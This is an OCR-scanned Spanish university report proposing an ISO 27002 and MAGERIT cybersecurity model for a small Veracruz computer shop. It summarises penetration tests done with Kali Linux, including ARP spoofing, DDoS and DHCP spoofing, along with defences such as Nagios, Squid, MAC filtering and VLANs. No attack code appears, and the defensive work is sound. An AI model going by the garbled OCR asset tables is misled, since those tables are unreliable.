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Introduccion

La ciberseguridad es una preocupacion cada vez mas importante en las empresas, ya
que el uso de la tecnologia y la conectividad a Internet se ha vuelto esencial en
muchos aspectos de nuestra vida cotidiana. Los ciberataques pueden tener
consecuencias devastadoras para empresas y particulares, incluyendo la pérdida de
datos confidenciales, el robo de informacion personal, la interrupcion de servicios y la

reputacion dafiada.

Por lo tanto, la implementacion de un proyecto de ciberseguridad se ha vuelto crucial
para garantizar la proteccién de la informacién y los sistemas de una organizacion. El
proyecto de ciberseguridad puede incluir medidas preventivas, de deteccion y de

respuesta para minimizar el riesgo de ciberataques y mejorar la seguridad en linea.

Entre las medidas preventivas, se pueden incluir la implementacién de politicas de
seguridad de la informacién, la formacion y concienciacion de los empleados sobre
buenas practicas en linea, la instalacion de software de seguridad y la realizacion de

evaluaciones de vulnerabilidad.

Para la deteccion de posibles ciberataques, se pueden implementar medidas como la
monitorizacion de los sistemas y redes, el uso de sistemas de deteccion de intrusiones

y la revision de registros de actividad.

En caso de que se produzca un ciberataque, es importante contar con un plan de
respuesta ante incidentes, que incluya medidas de contencion, recuperacion y analisis

del incidente para prevenir futuros ataques.
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Capitulo I. Introduccidn

1.1 Modelo de Ciberseguridad para la empresa Space Cargo (SPC) Colombia

Este proyecto tuvo como objetivo el presentar un modelo de ciberseguridad basado

en la norma ISO27002 que le permitid a la empresa SPC Colombia tener seguridad

informética organizacional [1].

Los resultados obtenidos con este proyecto son los siguientes:

Caracterizacion de los activos: Se identificaron los activos que componen el

sistema, se definieron las dependencias entre ellos y se determiné que parte

de valor del sistema soporta cada activo.

Levantamiento de informacion y estructuracion: Se generd un inventario de

todos los activos de la informacion fisicos encontrados.

Clasificacion de activos: Acorde a los activos de informacién encontrados se

procedio a estructurarlos en una tabla.

Tipo Active Sigla de Tipo de Activo Active
www{Word ide web) Pagina Web admminstrada por |3 organi2acion de uso publico
Js uarios Extemos Bajo relacion Contractual) Correos eletronicos generados par la organiacion enviadas a Terceras
Finales Prestados per |a organizacitn a terceros email [corren electonico] ‘Coreos eletonicos Eeneranos poria Organiacion de uso interna
edifintercambio electronico de Datos) Intercambio de datos por medio de comeas electronicos
m de clawe publica) firmas digitales
X INT(internos a usuarios de la propia §
H Servdios Intranet, Licencia de Office
§ organizacion)
Instrumentales Medias yusuarios Propias -
BD [base de Datos) Base de Datos Clientes, usuarios intemos y externas.
Fip(wanferenca de ficheros) Senidor FIP de ransierenda 0 archivos intemos_
PTEL (Proveedor Telecumunicacianes) Proveedar de sendda de Intemet y telefonia
Contamdos | O organizacién que POFRORIONa otros medios VPN{Virtual Nekword Private) Red virual Privada
PIMP(Provee dor de Impresion) Provee dor de servicios de Impresian
COM (Datos comerciales) Bases de datas, corren electronica.
rivads Datss impresindibles par Ia Organizacidn INT (Datos de gestian interna) Excel, carpetas compartidas, FP_
L0G (Registio de actindades) Log de eventos,
oF Datos de Inf SECRET [Datos dlasificados) S{nivel confidencial), Ridifusion limitadal, UC(sin clasificar), PUicaracter publico).
MULTI (Multimedia) video conferencia, fotos, presentaciones, chat (skype).
semsible Datos Impresindibles para los colaboradores PER (Datos de cardcter personal) Social Media (Whatasapp, Facebook, Instagr m, Twitter)
. Documenias Impresos, Copias, fegistros, contratos, olrosi, hojas de respuestas,
MF (Medios Fisicos)
senddor de ficheros, Desarmollo sub contratado, IMAIL (comreo corporativ), DEMS
sw Software /A WA SOFT (Saftware) (sistema de gestion de Base de datos), Ofimatica, AV {Antivirus), 05 (Sistema
Operativo).
EqG{Equipos grandes) senddor
EqM{Equipos medianos) FC Corpotativos, Portatiles
EquiEquipos virtuales) Maguinas Viruales
PROFIOS BK{Equipos de respaido) NI
ww | Equipas nfarmaticos Permet|Equipos penifericos) Gamaras de PL Altawoces, DiaGemas, Microfonos, Teclados, Mouse
Swiswitch) Equipo capa 2.
WAP{ Punto de acceso inalambrica) AP|Rzcess Point)
PABK|Centralita telefonical Planta Telefonica
COIV{Gireuito cerrado de Tv) Camaras de manitorea
CONTRATADOS senicios Ingirectos FWiFireym 1) Equino permetral.
ROEnmutadar] Equipo capa 3.
RTCIRed Telefonica Conmutadal Planta Telefonica
Redes de
@™ Comunicaciones L N/ LAN[Red Local) Red de Area Local
VPN(Virtual Netword Private) Red de conexidn privada
WLAN(Wireless Local Area Netwark] Red i

Figura 1 Clasificacion de activos Fuente. Fundacion Universitaria Unipanamericana
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e Dimensién de valorizacion del activo

Se determind el valor de los activos desde la perspectiva de cuanto mas

valiosos es un activo. Mayor nivel de proteccion se requiere en la dimension de

seguridad que sea pertinente.

de Tipo de Activo.

Descripeon de tipo de Activa

Integri

worw|Weord Wide Web) Paging Web porls de usa publicn Publico Sensible Alts
EXT(Usuarios Extermos Bajo relacion Contractual) Coreos eletronicos generados por la organiacion enviados a Terceros Publico Baja Alta
i i Correas dos por la de uso interma Interna Narmal Ata
de Datas) de datos por médio e cormeos Publics Normal s
pifintrestructura de dave publica) firmas digitales inteme sensible Alta
m“'""'"”; ":‘:‘;:;’"‘:“ 1a progia Intranet, Licencia de Office Intemg sensible Alta
BD [base ce Datos) Base de Datos Clientes usustios intemas yextemos [? Sensible Alta
FlPitranferencia de ficheras) Seridar FIPde transferencis de archives intemee. interma Sensible Ats
PTEL T icaci Proweedor de senicio de Intemet y telefonia inteme Sensible Ata
PH{Virtual Nekword Private) Red virtual Privads inteme Sensible At
PINP[Pravee dor de | i6n) Provesdor de sendcios de Impresion interma Bajs NMedia
COM (Dates comerciales) Bases de datos, cormen electranicn. Interna sensible s
INT (Datod de gestion interma) Excel, carpetas FTR. Interna Sengible Media
[0G (Registra de actidaces) Log de eventos, Conhi Warmal Baja
SECRET (Datos o S{rivel confidendall, Aldifusian limitada), UC[sin clasificar), Plcard cter publica). G Sensible Ata
MULTI {Multi videa fatos, chat [Skype). Publice Normal Bajs
PER (Datos de cardcter personal] Social Media [Whatssapp, Facebaok, [nstagram, Tuitter). Publica Baja Bajs
W (edios Fisreos) Documentos impresos, copias, registros, contratos, 0trosi, hojas de respuestas, I ) s
Sensible
Servidor de ficheros, Desarrollo sub contratado, IMAIL [corren corporativa), DEMS
SOFT (Seftware) (Sistema de gestion de Base de dates], Ofimatica, AV (Antivirus), O (Sistema Confidencial Alta
Operatival
sensible
EqG(Equipes grandes) Senidar Confidencial Alta
Sensible
medianas) PC Corpotativos, Fortatiles inteme Narmal Nedia
EqV(Equipns Virtuales) Maquinas Virtuales Conk Sensible Ata
BK(Equipas de respalda) WA Interno Sensible Media
i ifericos) Camaras de PC Altawoces, Diad, Tedados, Mouse. Intema Baja
SW(Switch) Equigs caps 2 Conk Ata
WAP| Punts dé aceeso inalambricn) AP{Access Point) Intema Baja
PABK|Centralita tele fonica) Plants Telefonica intemo Alta
CCTV{Gireuite cerrado de TV] Camaras de monitores Confidencial Ats
FW(Firewall) Equipo perimetral Sensible At
BO{Ennutador) Equio capa 3 G Sensible At
ATCRed Telefonica Conmutads) Blants Telefonica interme '™
Sensible
LAN(Red Local] Red de Area Local intemno Sensible At
VEN([Virtual Netword Private) Red de conexién privads Interng Sengible Alta
WLAN{Wireless Local Area Network] Red Inalambrica intemo Baj Baje

Figura 2 Dimension de valorizacion del activo Fuente. Fundacion Universitaria Unipanamericana
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1.2 Construccion de un modelo de ciberseguridad para empresas de servicios
informéticos que fortalezca un adecuado manejo de incidentes de seguridad

A través de la ejecucion de este proyecto, se ha logrado el objetivo especifico de
establecer los diferentes riesgos de ciberseguridad en empresas que ofrecen servicios
informaticos, en consecuencia se contribuye en la construccion del modelo de
ciberseguridad para empresas del sector, esto favorece positivamente ya que las
evaluaciones de los riesgos tienen mas sentido de acuerdo a la recurrencia con la que
se realicen; los atagues de dia cero evolucionan constantemente y contar con modelos
de riesgos que implementen nuevas tecnologias converge a un sistema de riesgos
actualizado y con una alta mitigacion de riesgos, creando sistemas eficaces, eficientes

y efectivos.

Asi mismo se determiné el procedimiento para un adecuado manejo de incidentes de
seguridad basado en normas internacionales alineando la norma para el manejo de
incidentes 1S0O27035 y el marco NIST de -ciberseguridad, ambas poseen
caracteristicas relevantes que permiten asociarse a los riesgos detectados y la

aplicabilidad en empresas de servicios informaticos [2].

Establecimiento de
resgos Manejo de

incidentes de Evaluacion del

seguridsd modelo de
ciberseguridad

Figura 3 Metodologia implementada Fuente.Yenifer Zulay Giraldo Montes
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1.3 Modelo de ciberseguridad para la prevencion de ataques cibernéticos en la
oficina de seguros de la Diris Lima Norte 2020

El objetivo de este proyecto es el determinar en qué medida el modelo de
ciberseguridad previene ataques cibernéticos a la oficina de seguros de la DIRIS Lima
Norte.

A partir de los resultados obtenidos en el presente trabajo de investigacion, se observa
en el andlisis descriptivo del indicador Numero de controles de seguridad de
informacion de control y de accesos, en el post test se tiene una media de 3.13%; en
la contrastacion de hipétesis, hay implementacién eficiente de controles de accesos y
control, el nivel de significancia es igual a 0.000 es menor a 0.005 determindndose
gue el modelo de ciberseguridad implementa eficientemente controles de accesos y

control de la oficina de seguros de la DIRIS Lima Norte 2020 [3].

Administracion

Evaluacion Diseno Implementacién
P y soporte
Identificacion de
activos
_ Politicas y Monitorear
-
————— procedimientos Controles implementacion
para el control de del modelo
riesgos
Identificacion de
riesgos
| ) \_ v, L ~

Figura 4 Modelo de ciberseguridad Fuente.Maylen Alida Alvines Villegas
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Capitulo Il. Acerca del proyecto y de la empresa

2.1 Planteamiento del Problema

Con el paso de los afios y con la inminente evolucién de la Industria 4.0, el computo
en la nube y aspectos como la seguridad informéatica y ciberseguridad se han vuelto
un punto critico para las PYME que buscan garantizar la disponibilidad e integridad de
sus datos.

Hacker Internet es una empresa en el ramo de tecnologias de la informacién dedicada
a la distribucion de diversos componentes para laptops y equipos de escritorio, de
igual manera ofrece servicios de mantenimiento, reparacion, instalacion de sistemas

operativos entre otros.

En la actualidad los equipos tienen instalado un software antimalware para mitigar
posibles intrusiones de virus, sin embargo se tiene en cuenta que existen diversas

vulnerabilidades que pueden conllevar a un robo de datos.

Por esta razén se ha propuesto a Hackers Internet la realizacién de pruebas de
penetracion para detectar vulnerabilidades y a su vez generar mecanismos de
ciberseguridad basados en la norma ISO/IEC 27002 para garantizar la integridad de

sus datos.

2.2 Objetivos

2.2.1 Objetivo General
Identificar vulnerabilidades mediante pruebas de penetracibn e implementar
mecanismos de ciberseguridad basandose en la norma ISO/IEC 27002 para disminuir

los riesgos de ciberataques.

2.2.2 Objetivos Especificos
e Realizar pruebas de penetracién con Kali Linux para detectar vulnerabilidades

en la red.

e Configurar un servidor Proxy para el control de contenido de la red.
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e Configurar el software Nagios para el monitoreo de la red.
e Implementar mecanismos de ciberseguridad basados en la norma ISO 27002
para garantizar la integridad de los datos.

2.3 Hipotesis

La realizacion de pruebas de penetracion para detectar vulnerabilidades y la
implementacion de mecanismos de ciberseguridad bajo la norma ISO/IEC 27002
ofrecen una ventaja competitiva asegurando la integridad y proteccion de los datos de

clientes, proveedores y colaboradores.

2.4 Justificacion del Proyecto

La rama de las tecnologias de la informacién ha ido evolucionando constantemente
con el surgimiento de la industria 4.0, esto ha implicado que diversas PYME se vean
en la necesidad de integrar nuevas tecnologias para automatizar sus procesos, reducir
costos y garantizar la disponibilidad de los datos a sus clientes.

Segun Enrique Herrera, director ejecutivo y fundador de Cyberimox, el 83% de las
PYME en México no estan preparadas para enfrentar un ataque a la seguridad de su

informacion y de sus sistemas informaticos.

En este proyecto se refleja la importancia e impacto de contar con mecanismos de
ciberseguridad y conocer las vulnerabilidades a las que las PYME estan expuestas
dia con dia.

El contar con mecanismos de ciberseguridad brinda beneficios como lo es el
salvaguardar la integridad de los datos y disminuir la posibilidad de ataques
cibernéticos. Esto permitira que Hackers Internet integre nuevas tecnologias que le

permitan mantenerse a la vanguardia.

2.5 Alcances y Limitaciones

2.5.1 Alcances
El proyecto se realizara en un lapso de 4 meses y consistira en la configuracion de un

servidor en la nube basado en una distribucién Linux en donde se instalara la

11




o
O
rcv

UNIVERSIDAD TECNOLOGICA
DEL CENTRO DE VERACRUZ

herramienta de monitoreo Nagios y servicios como DNS, web, base de datos y un

servidor proxy para el control de contenido de la red.

Se utilizard el sistema operativo Kali Linux para la realizacién de pruebas de
penetracion y con base en los resultados obtenidos, se implementaran mecanismos

de ciberseguridad basandose en la norma ISO/IEC 27002.

2.5.2 Limitaciones

e Sistema operativo del servidor
La distribucion del sistema operativo del servidor en la nube dependera del
proveedor de servicios que la empresa establezca, sin embargo estara basado

en Linux.

e Norma ISO/IEC 27002
Solo se implementaran ciertos controles de la norma y estos seran con base
en el tamafio de la empresa, su infraestructura de red y la inversion econémica

que se tenga contemplada.

2.6 La empresa

2.6.1 Ubicacion
Hackers Internet se encuentra establecida en Cérdoba, Veracruz en la Colonia Centro

sobre avenida 7, esquina Calle 15 nimero 1500-C.
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Sanator
© '
Av. 715008
Centro, 94500 Centro.

Y
>

Google

Figura 5 Ubicacion

2.6.2 Giro de la empresa
Hackers Internet es una empresa dedicada a la venta de equipo de tecnologia,

computo, accesorios y servicio de reparaciéon y mantenimiento. Distinguiéndose de la
competencia por ofrecer productos y servicios de calidad acordes a las necesidades

de sus clientes, ofreciendo siempre el mejor precio.

2.6.3 Servicios que ofrece
Reparacion de impresoras
e Limpieza Interna & Externa.
e Atascos de papel.
e Reiniciamiento del Ciclo de vida.
e Reparacion y Cambio de fusor.
e Reemplazo y limpieza de almohadillas.
e Limpiezay reemplazo de rodillos.

e Limpieza y cambio de cabezales de impresion, etc.

Reparacion de computadoras y laptops

e Formateo de computadoras.
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e Instalacion de Sistema Operativo.

e Instalacion de Drivers & Actualizaciones.
e Limpieza Interna & Externa.

e Venta de Equipo de computo.

e Cambio de Display o Pantalla.

e Reemplazo de teclado.

2.6.4 Vision
Ser el mejor proveedor de tecnologia de la zona centro del estado de Veracruz, que

ofrezca a sus clientes la confianza de que su compra o servicio esta respaldada por

nuestra experiencia, capacidad profesional y el mejor precio del mercado.

1.7.4 Valores
Profesionalismo, Calidad, Confianza, Compromiso y Honestidad.
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Capitulo Ill. Metodologia

3.1 Metodologia MAGERIT
Metodologia elaborada por el Consejo Superior de Administracion Electronica, permite
realizar la investigacion de los riesgos que soportan los sistemas de informacion y a

la vez disefiar e implementar medidas apropiadas que se adapten y controlen dichos
riesgos.

Determinar los activos

Determinar

Determinar el |' Xy
las amenazas

riesgo residual

Determinar las Determinar el riesgo
salvaguardias

Figura 6 Metodologia MAGERIT Fuente. Elaboracion propia
3.1.1 Determinar los activos
En esta fase se determinan los recursos de valor para la empresa pudiendo ser un

activo que genere un beneficio a futuro o no. Dichos activos deben ser protegidos de
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dafios y pueden ser archivos que contengan informacion, equipos de cémputo,

infraestructura de red, entre otros.

3.1.2 Determinar las amenazas
Alo largo de esta fase, se debe realizar un estudio de las amenazas y vulnerabilidades
a los que los activos estan expuestos como lo son errores, fallos e incluso una

manipulacion inadecuada.

3.1.3 Determinar el riesgo
Durante esta fase, se evallan de manera practica los riesgos a los que estan
expuestos los activos mediante pruebas de vulnerabilidad. Esto realizado mediante el

sistema operativo Kali Linux y se genera un informe de vulnerabilidades.

3.1.4 Determinar las salvaguardias
En esta fase, se construye un modelo de ciberseguridad con base en los resultados
obtenidos del informe de vulnerabilidades con la finalidad de generar mecanismos de

seguridad considerando los controles de la norma ISO/IEC 27002.

3.1.5 Determinar el riesgo residual
En esta ultima fase, se monitorean los mecanismos implementados y se realizara un

informe de correcciones realizadas.
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Capitulo IV. Desarrollo del proyecto

4.1 Metodologia MAGERIT

A lo largo de este capitulo se desarrollara la metodologia implementada a lo largo del

proyecto adjuntando evidencia y actividades realizadas.

4.1.1 Determinar los activos
Los activos identificados en la empresa se clasificaran de la siguiente manera:

Tipo Descripcion
Datos / Informacion (D) Archivos, copias de respaldo, datos de configuracion,
etc.
Servicios (S) Funcidn que satisface una necesidad de los usuarios.

Hardware / Equipos (HW) | Bienes fisicos destinados a proveer los servicios que
ofrece la empresa.

Redes de comunicaciones | Instalaciones y servicios contratados a terceros.
(COM)

Tabla 1 Determinar activos

Tipo de activo Clasificacion Descripcion
Bases de datos
Documentos Excel
Carpetas compartidas
(FTP)
Paginas web
Correo electrénico
Licencias de Office
Sistema de facturacion
PC de escritorio
Portatiles
Servidor NeuBox
Access Point
Redes de comunicaciones Red de area local
N/A —— -

Red inalambrica

Dato / Informacion Datos imprescindibles

Servicios Prestados a terceros

Hardware/Equipos Equipo corporativo

Tabla 2 Clasificacién de activos

Una vez determinados e identificados los activos, se procede a dimensionar el valor

de cada activo considerando su confidencialidad, integridad y disponibilidad.
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Dimension de valoracion del activo
Tipo de activo Confidencialidad | Integridad | Disponibilidad

Bases de datos Interna Sensible Alta
Documentos Excel Interna Sensible Alta

Carpetas compartidas (FTP) Interna Sensible Media
Paginas web Publico Sensible Alta
Correo electronico Publico Baja Alta
Licencias de Office Interno Normal Alta
Sistema de facturacion Interno Sensible Alta
PC de escritorio Interno Sensible Alta
Portétiles Confidencial Sensible Alta
Servidor NeuBox Confidencial Sensible Alta

Access Point Interno Normal Media
Red de area local Interno Sensible Alta

Red inalambrica Interno Normal Media

Tabla 3 Dimension de valoracion del activo

4.1.1.1 Norma ISO/IEC 27002
Para determinar los controles aplicables segun la norma ISO/IEC 27002 se
consideraron aquellos centrados en la integridad de los datos y de la infraestructura

de red como lo son:

e Politicas de seguridad

o Conjunto de politicas para la seguridad de la informacion.

o Revision de las politicas para la seguridad de la informacion.
e Gestion de activos

o Inventario de activos

o Uso aceptable de los activos
e Control de accesos

o Control de acceso a las redes y servicios asociados.

o Gestidn de acceso de usuarios.
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e Seguridad en las telecomunicaciones

o Gestion de seguridad en las redes.

4.1.2 Determinar las amenazas
4.1.2.1 Nagios

En esta fase, se realizara la configuracion del software Nagios con la finalidad de
monitorear la red y detectar anomalias haciendo uso del manual elaborado en el
Anexo 1.

Nagios' Nagios'&

o Core’

+ Daemon running with PID 17837

Naglos® Core™
Version 4.4.6

April 28, 2020
Check for updates

Figura 7 Nagios en Debian 11

4.1.2.2 Configuracion del servidor Proxy

Se realiz6 la configuracion de Proxy Squid, esto con la finalidad de denegar el acceso

a ciertas paginas mediante una ACL. Anexo 2.
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admin@debian-monitoreo: fetc/squid

]: Set Current Directory tog
]: Finished loading MIME tyjg
]: HTCP Disabled.
1: Pinger socket opened on g
C 1: Squid plugin modules loaj
d an-mo ig ]: Adaptation support is offg
debian-monitoreo squid ]: Accepting HTTP Socket col

]: Using Least Load store di

Figura 8 Proxy Squid
4.1.3 Determinar el riesgo
En esta fase, se realizaran pruebas de penetracion con la finalidad de generar un
reporte de vulnerabilidades encontradas y posteriormente, disefiar un plan de accion

para disminuir los ataques.

4.1.3.1 Atague ARP Spoofing

Este atague se realizd con la herramienta Ettercap, consiste en la intercepcion de la
comunicacién entre los usuarios de la red y la conexion a internet mediante el

envenenamiento de la tabla ARP reenviando todo el tréfico al atacante [4].
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— ] " —
A A—;
-
Victima Switch Victima

|

Y
A

Atacante
Figura 9 ARP Spoofing Fuente. Elaboracion propia
4.1.3.2 NMAP
Mediante NMAP se realiz6 una exploracion de la red en donde se obtuvo informacion
como hosts, puertos y servicios, direcciones IP, direcciones MAC de los dispositivos
y sus sistemas operativos. Para esto, se debe realizar un andlisis a profundidad que

nos permita determinar si existe alguna vulnerabilidad que pueda ser explotada en un

futuro.

Un ejemplo es que nos permite identificar si un dispositivo cuenta con puertos abiertos
sin ningun servicio en especifico ejecutandose en ellos, lo que se puede considerar

COmMo una puerta trasera o vulnerabilidad.

4.1.3.3 Netdiscover

Netdiscover es una herramienta disefiada principalmente para redes inalambricas,

permitiendo detectar hosts, trafico ARP y direcciones locales existentes.

Mediante un analisis y escaneo de la red, fue posible recolectar informacién como
direcciones IP y direcciones MAC para realizar una suplantacion de IP y realizar otros

ataques a hosts especificos.
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4.1.3.4 Atagque de tipo Payload

Este tipo de ataque consiste en vulnerar un dispositivo mediante una puerta de entrada
al sistema con la finalidad de ejecutar cédigo malicioso, propagar malware, y filtrar

informacion [5].

4.1.3.5 Ataque de DDOS
El atague de denegacion de servicios distribuido también conocido como DDOS

consiste en interrumpir el servicio de los dispositivos generando un gran volumen de

tréfico sobrecargando las operaciones del servicio [6].

Con las direcciones obtenidas anteriormente, fue posible realizar un ataque DDOS a
hosts especificos de la red, en este caso al servidor web, inhabilitando su servicio

brevemente.

4.1.3.6 DHCP Spoofing

Un ataque de DHCP Spoofing consiste en la asignacion no autorizada de parametros
de configuracion DHCP como una direccion IP, servidor DNS y puerta de enlace.
Mediante este método, el atacante se coloca como intermediario en la comunicacion
de la red [7].

4.1.4 Determinar las salvaguardias

4.1.4.1 Filtrado MAC
Mediante la deteccion de dispositivos que no deben tener acceso a la red, se realiza

un filtrado MAC, el cual consiste en establecer una lista negra que contenga los

dispositivos que no accederan a la red.

A su vez, se realiza una Whitelist, en donde se especifican los usuarios que tendran
acceso a la red, esto permite que solo los equipos con la direccion MAC establecida

en la lista tengan acceso a los recursos de la red.
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MAC Address Filtering
On this page, you can configure MAC filter to prohibit some PCs from accessing the Internet

Enable MAC Filter: O

Filter Mode: Blacklist ~

New Delete
Device Name Source MAC Address
O kali 30:24:
] Samsung A10s ca:de:
O Android 08:00:

Figura 10 Filtrado MAC Blacklist

MAC Address Filtering

On this page, you can configure MAC filter to prohibit some PCs from accessing the Internet.

Enable MAC Filter: (0

Filter Mode:

New Delete
Device Name Source MAC Address
[0 Android SM23 f4:62:
O  |LAPTOP-KS8RBMSNZ 62:5¢:
O  |LAPTOP-K1RCMS5NZ2 12:8a
O  |Administracion_1 60:45
O  |Lenovo-PC 61:79;
[0  |DESKTOP-ECCSN2N 87:65:
[0  |HP Deskjet 1510 series d8:2b:

Figura 11 Filtrado MAC Whitelist

4.1.4.2 Segmentacion de red
Para disminuir el alcance de los atacantes a la red, se realiz6 la segmentacién en
VLANSs de la siguiente forma:

e VLAN 100 Administracion
e VLAN 200 Visitantes
e VLAN 300 Colaboradores
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De esta forma, los usuarios solo dispondran de conexion a su respectiva VLAN sin

comunicarse con los demas segmentos de la red.

4.1.4.3 Monitoreo de lared

Mediante el monitoreo de la red Nagios instalado anteriormente, se puede verificar
que dispositivos estan accediendo a la red, asi como el flujo de tréafico y los recursos

que consumen.

4.1.4.4 Generador de contrasefias AVAST

El uso de contrasefias es fundamental para garantizar una red mas segura, por este
motivo, se utiliza el generador de contrasefias seguras AVAST. Este genera
contrasefias acorde al nivel de seguridad establecido definiendo parametros como
longitud, caracteres a incluir entre los que estan: letras mayudsculas, minusculas,

nameros y caracteres especiales.

Haciendo uso de este generados, se cambiaron las contrasefas del servidor, usuarios

FTP y contrasefa para el acceso a la red.

Generador de contraseinas aleatorias

Cree contrasefias seguras para mantener sus cuentas seguras en linea.

62ROCNRIVSAITFM o) m
Longitud de la contrasefa: 15 @ [« >> @

Caracteres usados: (v]aBC  [v]abe [(v]123 () #$&

™

P

Figura 12 Generador de contrasefias AVAST
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4.1.5 Determinar el riesgo residual
4.1.5.1 Monitoreo de la red

Se mantuvo en constante monitoreo la red con la finalidad de detectar alguna intrusion

0 usuario cuya funcion sea interceptar la comunicacion y tréafico.

4.1.5.2 Contrasefias

Se sugiere que las contrasefias sean renovadas cada 6 meses y que estas contengan
una longitud de al menos 12 caracteres entre los cuales sean: numeros, letras

mayusculas y mindsculas y caracteres especiales.

De igual manera, se recomienda contar con diferentes contrasefias para cada

dispositivo y conexiones a la red.
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Capitulo V. Resultados y conclusiones

Para una empresa es de vital importancia el realizar pruebas de penetracion a su res,
esto con la finalidad de detectar vulnerabilidades existentes que pueden ser a futuro
explotadas por terceros que conlleven a pérdidas de informacion e incluso perdidas

econdmicas.

Al realizar pruebas de penetracion, es posible diagnosticar el estado de la red en
cuanto a pardmetros de seguridad, desde las medidas basicas como el uso de

contrasefas seguras, hasta la implementacion de softwares de monitoreo de red.

Esto brinda un gran beneficio a la empresa, ya que este tipo de practicas se realizan
con la finalidad de concientizar y dar a conocer las vulnerabilidades de la red. Esto
permite implementar mecanismos de ciberseguridad capaces de mitigar los riesgos
de una perdida de datos e infiltracién en la red.

Realizar pruebas de penetracién con Kali Linux para detectar vulnerabilidades
en lared
Se realizaron diversos tipos te ataques de penetracion a la red mediante el sistema
operativo Kali Linux y sus herramientas. Entre estas pruebas se encuentran:

¢ Ataque ARP Spoofing

e Auditoria de red con NMAP

e Netdiscover

e Ataque de tipo payload

e Ataque de DDOS

e DHCP Spoofing
Configurar un servidor Proxy para el control de contenido de la red
Se realiz0 la configuracion de un servidor proxy en el servidor Debian 11, con la
finalidad de limitar el acceso a los usuarios a ciertos dominios mediante una lista de

control de acceso.
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Configurar el software Nagios para el monitoreo de lared
Se realizé la instalacion y configuracion del software Nagios en el servidor Debian 11
con la finalidad de monitorear la red y detectar anomalias en caso de presentarse.

Implementar mecanismos de ciberseguridad basados en la norma ISO 27002
para garantizar la integridad de los datos

Se realizé la configuracién e implementacién de mecanismos de ciberseguridad en la
red, considerando los activos a proteger, enfocandose especificamente en los datos
transmitidos a través de la red y almacenados en los equipos.

Dichos mecanismos se realizaron tomando en cuenta la infraestructura de la red y
dispositivos de esta, asi como a la solicitud de implementar herramientas de cddigo

abierto para reducir los costos de implementacion.

Se recomienda la implementacion de un Firewall en la red ya que la informacién que
se transmite es de gran confidencialidad y conllevaria a una pérdida econdmica

considerable en caso de ser interceptada y modificada.

Otra recomendacion es la implementacion de un sistema CCTV (circuito cerrado de
television) ya que no se cuenta con uno actualmente. Esto con la finalidad de brindar

seguridad y tener un registro de acceso a los equipos.
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Anexos

Anexo 1. Manual de instalacion de Nagios
Instalacion de Nagios

1. Se realizo la instalacion del servicio web Apache2 y de PHP mediante el

siguiente comando.

admin@debian-monitoreo: ~ O

Figura 13 Instalacién de Apache2 y PHP

2. Posteriormente, se realizé la instalacion de las dependencias de Apache.

automake

Figura 14 Instalacién de dependencias Apache2

3. Se descarg6 Nagios Core mediante el siguiente comando.
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admin@debian-monitoreo: ~

Figura 15 Descarga de Nagios Core

4. Ahora se debe extraer el archivo descargado anteriormente con el comando
tar.

admin@debian-monitoreo: ~

sudo tar nagios-4.4.6.tar

Figura 16 Descomprimir Nagios Core

5. Una vez finalizado el proceso de extraccion, se accede a la carpeta generada.

admin@debian-monitores: ~/nagios-4.4.6

Figura 17 Acceso a carpeta Nagios Core

6. En esta se realiza la compilacion de los plugins descargados.

[

% sudo ./conf re --with-httpd-conf

infinstall -c

ompiler

faul

Figura 18 Compilacion de plugins descargados
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7. Unavez finalizado el proceso, se deben ejecutar los siguientes comandos para
instalar los archivos binarios CGl.
Sudo make all

admin@debian-monitoreo: ~/nagios-4.4.6

% sudo make all

_CONFIG_H -DNSCOR (
2 -DHAVE_CONFIG_H -DNSCORE C -0 nebmods.o nebm

Figura 19 Ejecucién de comandos

% sudo make install

fbin/install -c
fbin

Figura 20 Ejecucion de comandos de instalacion

Instalar el daemon de ngnix con el siguiente comando.
Sudo make install-init

admin@debian-monitores: ~/nagios-4.4.6

% sudo make insta
-d -0 root -g

-0 root -g root startup/defa

Figura 21 Ejecucion de comandos de inicio

Sudo make install-commandmode
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admin@debian-monitoreo: ~/nagios-4.4.6

fusr/bin/install -c -m 7

1
chmod fusrflocal/

ernal command dire r configured

Figura 22 Instalacion de modo de comando

Instalar archivos de configuracion para el correcto funcionamiento de Nagios.

Sudo make install-config
admin@debian-monitoreo: ~/nagios-4.4.6

finstall -c -m
finstall -c -m

ample-cont
ample-conf

s sample-conf

Figura 23 Instalacién de configuracion
Sudo make install-webconf
admin@debian-monitoreo: ~/nagios-4.4.6

c -m 644 sample-

enabled/
fi

Figura 24 Instalacién de modo de configuracion

8. Ahora se debe habilitar el servicio de Nagios.
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admin@debian-monitores: ~/nagios-4.4.6 O

Figura 25 Comando para habilitar Nagios

9. Posteriormente, se agrega la contrasefia al usuario predeterminado de Nagios
“nagiosadmin” para acceder al panel de Nagios.

admin@debian-monitoreo: ~/nagios-4.4.6 — O

$ sudo htpasswd -c fusr/local/nagio
osadmin

"~ user nagiosadmin

Figura 26 Establecer contrasefia de usuario

10.Ahora se le debe permitir a Apache el ejecutar el script CGA para acceder al
panel de Nagios.

admin@debian-monitoreo: ~/nagios-4.4.6

% sudo aZenmod

Lo rumn.

Figura 27 Habilitar el modo CGlI
11.Después se reinicia el servicio de Apache.

sudo

Figura 28 Reiniciar servicio Apache2

12. Por ultimo, se inicia habilita Nagios y se inicia el servicio.
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Nagios’

A R R

sudo

sudo

Figura 29 Habilitar Nagios

Easy Configuration
Advanced Reporting

Download
— =

Nagios' &

Core’

+ Daemon running with PID 17837

Nagios® Core™
Version 4.4.6

April 28, 2020
Check for updates

Mnnnr and analyze
logs from anywhere
Download
=

Figura 30 Acceder a interfaz web de Nagios

Anexo 2. Configuracién de servidor proxy
Instalacién de Squid Proxy

will be used.

amdbed libec

Figura 31 Instalacién de servidor proxy Squid

13. Se debe acceder al panel de Nagios mediante la direccion publica del servidor
y agregando un /nagios como se muestra.

Real-time netflow and

bandwidth analysis

1. Primero se realiza la instalacion de Squid utilizando un usuario con permisos
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2. Posteriormente, se accede a la carpeta /etc/squid.

admin@debian-monitoreo: fetc/squid

tc/squid/

Figura 32 Acceder a carpeta Squid

3. En esta carpeta, se debe crear un archivo que contenga las direcciones URL
gue no tendran permiso de acceso.

admin@debian-monitoreo: /etc/squid - O

% sudo nano paginas denegadasg

Figura 33 Crear carpeta para ACL

Seleccionar admin@debian-monitoreo: fetc/squid

GNU mano 5.4 naginas denegadas *

Wi . youtube.
wwe . facebook. c

Figura 34 Creacion de ACL

4. Se debe realizar un respaldo del archivo squid.conf copiando su contenido a
otro archivo, en este caso squid.conf.original.
Ahora se deben agregar los siguientes parametros al archivo squid.conf.
admin@debian-monitorea: fetc/squid

% sudo nano sqguid.conf

